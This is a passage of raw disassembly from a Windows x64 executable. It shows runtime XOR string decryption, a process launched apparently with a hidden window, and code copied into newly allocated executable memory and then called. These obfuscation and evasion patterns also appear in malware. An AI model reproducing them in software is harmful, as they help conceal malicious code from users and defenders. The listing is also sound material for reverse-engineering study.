movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x1402c49b0]
mov qword [r14 + rax*8 + 0x2bfb20], rbx
mov qword [r14 + rax*8 + 0x2c4050], r8
inc rax
mov qword [0x1402c49b0], rax
lea rdx, [rsp + 0x4c0]
mov rcx, rdi
call r8
nop
xor r12, r13
lea rax, [rsp + 0x6308]
mov qword [rax], r12
movups xmm0, xmmword [0x1402ac1a8]
movups xmmword [rsp + 0x7e0], xmm0
movups xmm1, xmmword [0x1402ac1b8]
movups xmmword [rsp + 0x7f0], xmm1
psrldq xmm1, 0xf
movd eax, xmm1
mov ebx, dword [0x1402bd008]
test al, al
je 0x140249057
cmp ebx, 2
jl 0x140248ff4
movdqa xmm10, xmmword [0x1402ad0a0]
mov edx, esi
movdqa xmm6, xmmword [0x1402ad190]
mov r12d, 6
movd xmm7, r12d
movdqa xmm8, xmmword [0x1402ad180]
movdqa xmm11, xmmword [0x1402ad0e0]
mov eax, 0x1f
movd xmm9, eax
movdqa xmm12, xmmword [0x1402ad1a0]
movdqa xmm0, xmmword [str.AAAAAAAAAAAAAAAA]
movdqa xmmword [rsp + 0xe0], xmm0
lea rcx, [rsp + 0x7e4]
mov r8d, dword [rsp + 0xe0]
movd xmm5, edx
pshufd xmm5, xmm5, 0
paddd xmm5, xmm10
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm4, xmm0, 0xdd
paddd xmm4, xmm5
psrad xmm4, xmm7
pmuldq xmm2, xmm8
pmuldq xmm1, xmm8
shufps xmm2, xmm1, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm7
movdqa xmm1, xmm2
psrld xmm1, xmm9
paddd xmm1, xmm2
pmulld xmm1, xmm12
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402ad150]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm9
paddd xmm0, xmm4
pmulld xmm0, xmm11
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402ad150]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, r8d
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm3, xmm0
movd dword [rcx - 4], xmm3
lea eax, [rdx + 4]
movd xmm5, eax
pshufd xmm5, xmm5, 0
paddd xmm5, xmm10
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm4, xmm0, 0xdd
paddd xmm4, xmm5
psrad xmm4, xmm7
pmuldq xmm2, xmm8
pmuldq xmm1, xmm8
shufps xmm2, xmm1, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm7
movdqa xmm1, xmm2
psrld xmm1, xmm9
paddd xmm1, xmm2
pmulld xmm1, xmm12
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402ad150]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm9
paddd xmm0, xmm4
pmulld xmm0, xmm11
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402ad150]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, r8d
paddb xmm3, xmm0
movd xmm0, dword [rcx]
pxor xmm3, xmm0
movd dword [rcx], xmm3
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x20
jl 0x140248e30
jmp 0x14024905d
lea r10, [rsp + 0x7e0]
mov r9d, esi
nop
mov eax, 0x8fb823ef
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx r8d, r9b
sub r8b, cl
add r8b, r8b
mov eax, 0x9c09c09d
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x69
sub r8b, cl
add r8b, 0x41
xor byte [r10], r8b
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0x20
jl 0x140249000
mov r12d, 6
lea rax, [rsp + 0x7e0]
mov rcx, 0xffffffffffffffff
nop dword [rax]
inc rcx
cmp byte [rax + rcx], 0
jne 0x140249070
mov rdx, qword [rsp + 0xda0]
movabs rax, 0x7fffffffffffffff
sub rax, rdx
cmp rax, rcx
jb 0x14024b588
lea rax, [rsp + 0xd90]
cmp qword [rsp + 0xda8], 0x10
cmovae rax, qword [rsp + 0xd90]
mov qword [rsp + 0x30], rdx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea r9, [rsp + 0x7e0]
lea rcx, [rsp + 0xa30]
call fcn.14025e2d0
nop
lea rdx, [rsp + 0xa30]
lea rcx, [rsp + 0x10a0]
call fcn.14020a180
nop
lea rcx, [rsp + 0xa30]
call fcn.140259200
lea rdx, [rsp + 0x10a0]
cmp qword [rsp + 0x10b8], 8
cmovae rdx, qword [rsp + 0x10a0]
lea rax, [rsp + 0xcb0]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x1190]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rsi
mov qword [rsp + 0x30], rsi
mov dword [rsp + 0x28], 0x8000000
mov dword [rsp + 0x20], esi
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
mov r9d, esi
test eax, eax
je 0x140249454
mov r12d, dword [rsp + 0xcc0]
mov dword [rsp + 0x74], r12d
movsd xmm0, qword [0x1402ab368]
movsd qword [rsp + 0x240], xmm0
mov eax, dword [0x1402ab370]
mov dword [rsp + 0x248], eax
movzx eax, byte [0x1402ab374]
mov byte [rsp + 0x24c], al
cmp ebx, 2
jl 0x14024938e
movdqa xmm7, xmmword [0x1402ad190]
mov eax, 6
movd xmm9, eax
movdqa xmm8, xmmword [0x1402ad180]
mov eax, 0x1f
movd xmm11, eax
movdqa xmm5, xmmword [0x1402ad0a0]
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm7
movdqa xmm0, xmm1
pmuldq xmm0, xmm7
shufps xmm4, xmm0, 0xdd
paddd xmm4, xmm5
psrad xmm4, xmm9
pmuldq xmm2, xmm8
pmuldq xmm1, xmm8
shufps xmm2, xmm1, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm9
movdqa xmm1, xmm2
psrld xmm1, xmm11
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x1402ad1a0]
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402ad150]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm11
paddd xmm0, xmm4
pmulld xmm0, xmmword [0x1402ad0e0]
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402ad150]
packuswb xmm2, xmm2
paddb xmm3, xmm2
mov eax, dword [str.AAAAAAAAAAAAAAAA]
movd xmm0, eax
paddb xmm3, xmm0
movd xmm0, dword [0x1402ab368]
pxor xmm3, xmm0
movd dword [rsp + 0x240], xmm3
movdqa xmm5, xmmword [0x1402ad0c0]
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm7
movdqa xmm0, xmm1
pmuldq xmm0, xmm7
shufps xmm4, xmm0, 0xdd
paddd xmm4, xmm5
psrad xmm4, xmm9
pmuldq xmm2, xmm8
pmuldq xmm1, xmm8
shufps xmm2, xmm1, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm9
movdqa xmm1, xmm2
psrld xmm1, xmm11
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x1402ad1a0]
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402ad150]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm11
paddd xmm0, xmm4
pmulld xmm0, xmmword [0x1402ad0e0]
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402ad150]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, eax
paddb xmm3, xmm0
movd xmm1, dword [rsp + 0x244]
pxor xmm3, xmm1
movd dword [rsp + 0x244], xmm3
mov r9d, 8
movsxd rax, r9d
lea r10, [rsp + 0x240]
add r10, rax
nop dword [rax]
mov eax, 0x8fb823ef
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx r8d, r9b
sub r8b, cl
add r8b, r8b
mov eax, 0x9c09c09d
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x69
sub r8b, dl
add r8b, 0x41
xor byte [r10], r8b
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0xd
jl 0x1402493a0
lea rdx, [rsp + 0x240]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14025af20
mov edx, r12d
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___int____ptr64]
lea rdx, [0x14025b0f0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov byte [0x1402bfe51], 1
mov rcx, qword [rsp + 0xcb0]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0xcb8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov ebx, 0xff8e
jmp 0x14024975c
movups xmm0, xmmword [0x1402ab960]
movups xmmword [rsp + 0x940], xmm0
movups xmm1, xmmword [0x1402ab970]
movups xmmword [rsp + 0x950], xmm1
movups xmm0, xmmword [0x1402ab980]
movups xmmword [rsp + 0x960], xmm0
movups xmm1, xmmword [0x1402ab990]
movups xmmword [rsp + 0x970], xmm1
mov eax, dword [0x1402ab9a0]
mov dword [rsp + 0x980], eax
cmp ebx, 2
jl 0x1402496a0
movdqa xmm10, xmmword [0x1402ad0a0]
mov r9d, esi
movdqa xmm6, xmmword [0x1402ad190]
movd xmm7, r12d
movdqa xmm8, xmmword [0x1402ad180]
movdqa xmm11, xmmword [0x1402ad1a0]
mov eax, 0x1f
movd xmm9, eax
movdqa xmm12, xmmword [0x1402ad0e0]
movdqa xmm13, xmmword [str.AAAAAAAA]
lea rcx, [rsp + 0x940]
nop word [rax + rax]
movd xmm5, r9d
pshufd xmm5, xmm5, 0
paddd xmm5, xmm10
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm4, xmm0, 0xdd
paddd xmm4, xmm5
psrad xmm4, xmm7
pmuldq xmm2, xmm8
pmuldq xmm1, xmm8
shufps xmm2, xmm1, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm7
movdqa xmm1, xmm2
psrld xmm1, xmm9
paddd xmm1, xmm2
pmulld xmm1, xmm11
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movdqa xmm2, xmm4
psrld xmm2, xmm9
paddd xmm2, xmm4
pmulld xmm2, xmm12
psubd xmm5, xmm2
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
paddw xmm3, xmm2
movq xmm0, xmm13
paddw xmm3, xmm0
movq xmm0, qword [rcx]
pxor xmm3, xmm0
movq qword [rcx], xmm3
lea eax, [r9 + 4]
movd xmm5, eax
pshufd xmm5, xmm5, 0
paddd xmm5, xmm10
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm4, xmm0, 0xdd
paddd xmm4, xmm5
psrad xmm4, xmm7
pmuldq xmm2, xmm8
pmuldq xmm1, xmm8
shufps xmm2, xmm1, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm7
movdqa xmm1, xmm2
psrld xmm1, xmm9
paddd xmm1, xmm2
pmulld xmm1, xmm11
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movdqa xmm2, xmm4
psrld xmm2, xmm9
paddd xmm2, xmm4
pmulld xmm2, xmm12
psubd xmm5, xmm2
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
paddw xmm3, xmm2
movq xmm0, xmm13
paddw xmm3, xmm0
movq xmm0, qword [rcx + 8]
pxor xmm3, xmm0
movq qword [rcx + 8], xmm3
add r9d, 8
lea rcx, [rcx + 0x10]
cmp r9d, 0x20
jl 0x140249500
cmp r9d, 0x22
jl 0x1402496a0
mov ebx, 0xff8e
jmp 0x14024971d
movsxd rax, r9d
lea r10, [rsp + 0x940]
lea r10, [r10 + rax*2]
mov ebx, 0xff8e
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x9c09c09d
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x69
mov eax, 0x8fb823ef
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx r8d, dx
imul r8d, ebx
sub r8w, cx
movzx eax, r9w
add ax, ax
add r8w, 0x41
add r8w, ax
xor word [r10], r8w
inc r9d
lea r10, [r10 + 2]
cmp r9d, 0x22
jl 0x1402496c0
lea rdx, [rsp + 0x940]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcerr]
call fcn.14025ad00
mov r12, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
mov rcx, r12
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___unsigned_long_int____ptr64]
lea rdx, [0x14025aee0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
mov r12d, esi
mov dword [rsp + 0x74], esi
movsd xmm0, qword [str._t_kwfQ]
movzx eax, byte [0x1402a9a70]
movsd qword [rsp + 0x120], xmm0
mov byte [rsp + 0x120], 0x48
xor byte [rsp + 0x121], 0x43
xor byte [rsp + 0x122], 0x45
xor byte [rsp + 0x123], 0x47
xor byte [rsp + 0x124], 0x49
xor byte [rsp + 0x125], 0x4b
xor byte [rsp + 0x126], 0x4d
xor byte [rsp + 0x127], 0x4f
xor al, 0x51
mov byte [rsp + 0x128], al
lea rax, [rsp + 0x120]
mov qword [rsp + 0x4c8], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0xe80], xmm0
lea rcx, [rsp + 0x6308]
mov qword [rsp + 0xe88], r13
mov qword [rsp + 0xe90], rcx
mov rax, qword [rcx]
xor rax, r13
mov qword [rsp + 0x238], rax
mov qword [rsp + 0xe80], rax
mov qword [rcx], rsi
mov ecx, esi
mov dword [rsp + 0x70], r12d
mov rax, qword [0x1402c1d70]
test rax, rax
je 0x14024985b
mov rdx, rsi
mov dword [rsp + 0x74], r12d
mov dword [rsp + 0x70], r12d
lea r12, [0x14025b2b0]
cmp rax, r12
je 0x140249848
inc ecx
mov edx, ecx
mov rax, qword [r14 + rcx*8 + 0x2c1d70]
test rax, rax
jne 0x140249830
jmp 0x140249862
mov r8, qword [r14 + rdx*8 + 0x2c0730]
test r8, r8
jne 0x14024994f
jmp 0x140249862
lea r12, [0x14025b2b0]
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x140249889
mov r8, rsi
jmp 0x14024992e
mov rax, r12
mov rcx, r8
mov edx, 3
nop dword [rax]
nop dword [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x1402498a0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x1402c0d88]
mov qword [r14 + rax*8 + 0x2c1d70], r12
mov qword [r14 + rax*8 + 0x2c0730], r8
inc rax
mov qword [0x1402c0d88], rax
lea rdx, [rsp + 0x4c8]
mov rcx, rdi
call r8
nop
mov rax, qword [rsp + 0x238]
xor rax, r13
lea rcx, [rsp + 0x6308]
mov qword [rcx], rax
mov r12d, esi
mov dword [rsp + 0x90], esi
mov edi, dword [rsp + 0x74]
cmp byte [0x1402bfe51], 0
je 0x14024af7e
test r12d, r12d
je 0x1402499a1
cmp r12d, 0x1f4
jle 0x140249a8b
mov eax, dword [str.86___M]
mov dword [rsp + 0x108], eax
movzx ecx, word [0x1402a9b90]
mov word [rsp + 0x10c], cx
movzx eax, byte [0x1402a9b92]
mov byte [rsp + 0x108], 0x79
xor byte [rsp + 0x109], 0x43
xor byte [rsp + 0x10a], 0x45
xor byte [rsp + 0x10b], 0x47
xor cl, 0x49
mov byte [rsp + 0x10c], cl
xor byte [rsp + 0x10d], 0x4b
xor al, 0x4d
mov byte [rsp + 0x10e], al
lea rax, [rsp + 0x108]
mov r8, 0xffffffffffffffff
nop
inc r8
cmp byte [rax + r8], 0
jne 0x140249a10
lea rdx, [rsp + 0x108]
lea rcx, [0x1402bdaa0]
call fcn.1402594a0
lea rdx, [rsp + 0xcf0]
cmp qword [rsp + 0xd08], 0x10
cmovae rdx, qword [rsp + 0xcf0]
lea rcx, [0x1402bda40]
cmp qword [0x1402bda58], 0x10
cmovae rcx, qword [0x1402bda40]
mov r8, qword [0x1402bda50]
cmp r8, qword [rsp + 0xd00]
jne 0x14024acc3
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x14024acc3
mov r12d, esi
mov dword [rsp + 0x90], esi
lea rcx, [rsp + 0xd20]
cmp qword [rsp + 0xd38], 0x10
cmovae rcx, qword [rsp + 0xd20]
mov r8, qword [rsp + 0xd30]
cmp r8, 7
jne 0x14024a707
lea rdx, str.enabled
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x14024a707
movsd xmm0, qword [0x1402a97a0]
movsd qword [rsp + 0x1b0], xmm0
mov eax, dword [0x1402a97a8]
mov dword [rsp + 0x1b8], eax
cmp byte [0x1402a97ab], 0
je 0x140249d67
mov r9d, esi
cmp dword [0x1402bd008], 2
jl 0x140249cf6
movdqa xmm7, xmmword [0x1402ad190]
mov eax, 6
movd xmm9, eax
movdqa xmm8, xmmword [0x1402ad180]
mov eax, 0x1f
movd xmm11, eax
movdqa xmm5, xmmword [0x1402ad0a0]
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm7
movdqa xmm0, xmm1
pmuldq xmm0, xmm7
shufps xmm4, xmm0, 0xdd
paddd xmm4, xmm5
psrad xmm4, xmm9
pmuldq xmm2, xmm8
pmuldq xmm1, xmm8
shufps xmm2, xmm1, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm9
movdqa xmm1, xmm2
psrld xmm1, xmm11
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x1402ad1a0]
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402ad150]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm11
paddd xmm0, xmm4
pmulld xmm0, xmmword [0x1402ad0e0]
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402ad150]
packuswb xmm2, xmm2
paddb xmm3, xmm2
mov eax, dword [str.AAAAAAAAAAAAAAAA]
movd xmm0, eax
paddb xmm3, xmm0
movd xmm0, dword [0x1402a97a0]
pxor xmm3, xmm0
movd dword [rsp + 0x1b0], xmm3
movdqa xmm5, xmmword [0x1402ad0c0]
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm7
movdqa xmm0, xmm1
pmuldq xmm0, xmm7
shufps xmm4, xmm0, 0xdd
paddd xmm4, xmm5
psrad xmm4, xmm9
pmuldq xmm2, xmm8
pmuldq xmm1, xmm8
shufps xmm2, xmm1, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm9
movdqa xmm1, xmm2
psrld xmm1, xmm11
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x1402ad1a0]
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402ad150]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm11
paddd xmm0, xmm4
pmulld xmm0, xmmword [0x1402ad0e0]
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402ad150]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, eax
paddb xmm3, xmm0
movd xmm1, dword [rsp + 0x1b4]
pxor xmm3, xmm1
movd dword [rsp + 0x1b4], xmm3
mov r9d, 8
movsxd rax, r9d
lea r10, [rsp + 0x1b0]
add r10, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x8fb823ef
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx r8d, r9b
sub r8b, cl
add r8b, r8b
mov eax, 0x9c09c09d
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x69
sub r8b, cl
add r8b, 0x41
xor byte [r10], r8b
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0xc
jl 0x140249d10
xorps xmm0, xmm0
movups xmmword [rsp + 0x800], xmm0
mov qword [rsp + 0x810], rsi
mov qword [rsp + 0x818], rsi
lea rax, [rsp + 0x1b0]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x140249d91
lea rdx, [rsp + 0x1b0]
lea rcx, [rsp + 0x800]
call fcn.14021d330
nop
lea rcx, [rsp + 0x800]
call fcn.14020c9c0
mov qword [rsp + 0x4d0], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0xe68], xmm0
lea rax, [rsp + 0x6308]
mov qword [rsp + 0xe70], r13
mov qword [rsp + 0xe78], rax
mov rdi, qword [rax]
xor rdi, r13
mov qword [rsp + 0xe68], rdi
mov qword [rax], rsi
mov ecx, esi
mov rax, qword [0x1402c26d0]
test rax, rax
je 0x140249e39
mov rdx, rsi
nop dword [rax + rax]
cmp rax, r15
je 0x140249e28
inc ecx
mov edx, ecx
mov rax, qword [r14 + rcx*8 + 0x2c26d0]
test rax, rax
jne 0x140249e10
jmp 0x140249e39
mov r8, qword [r14 + rdx*8 + 0x2c2090]
test r8, r8
jne 0x140249f1f
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x140249e60
mov r8, rsi
jmp 0x140249efe
mov rax, r15
mov rcx, r8
mov edx, 3
nop dword [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140249e70
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x1402c3d10]
mov qword [r14 + rax*8 + 0x2c26d0], r15
mov qword [r14 + rax*8 + 0x2c2090], r8
inc rax
mov qword [0x1402c3d10], rax
lea rdx, [rsp + 0x4d0]
lea rcx, [fcn.14020b790]
call r8
mov dword [rsp + 0x19c], eax
xor rdi, r13
lea rax, [rsp + 0x6308]
mov qword [rax], rdi
lea rcx, [rsp + 0x800]
call fcn.140259200
movups xmm0, xmmword [0x1402a9fb8]
movups xmmword [rsp + 0x300], xmm0
movzx eax, word [0x1402a9fc8]
mov word [rsp + 0x310], ax
cmp byte [0x1402a9fc9], 0
je 0x14024a227
mov r9d, esi
cmp dword [0x1402bd008], 2
jl 0x14024a1b7
movdqa xmm10, xmmword [0x1402ad0a0]
movdqa xmm6, xmmword [0x1402ad190]
